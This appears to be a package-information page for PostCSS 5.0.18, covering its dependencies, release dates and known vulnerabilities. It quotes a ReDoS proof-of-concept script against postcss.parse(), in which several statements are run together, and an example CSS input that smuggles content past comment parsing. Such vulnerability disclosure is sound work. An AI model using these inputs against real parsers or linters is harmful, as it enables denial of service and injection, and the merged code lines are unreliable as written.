PostCSS version 5.0.18 is a minor update to the popular tool for transforming styles with JavaScript plugins, building upon version 5.0.17. Both versions share the same core dependencies: js-base64, source-map, and supports-color, crucial for base64 encoding/decoding, source map generation, and terminal color support respectively. The development dependencies, essential for contributing to and testing PostCSS, remain consistent between these versions. This includes tools like del, chai, gulp, mocha, sinon and eslint which are related, respectively, to clean files, doing assertions, task running, testing, stubbing and linting.
The real difference between the versions lies in the release date, with 5.0.18 released on February 29, 2016, a few days after version 5.0.17, which was released on February 26, 2016. While the core functionality remains the same, developers may want to upgrade to the newest minor release to benefit from any potential bug fixes, performance improvements, or stability enhancements, even if not explicitly documented. For developers already using PostCSS 5.0.17, upgrading to 5.0.18 should be a seamless process, ensuring they are running the most up-to-date and potentially more robust version of the tool. Keeping dependencies updated like this is always a good practice to guarantee performance and security.
All the vulnerabilities related to the version 5.0.18 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.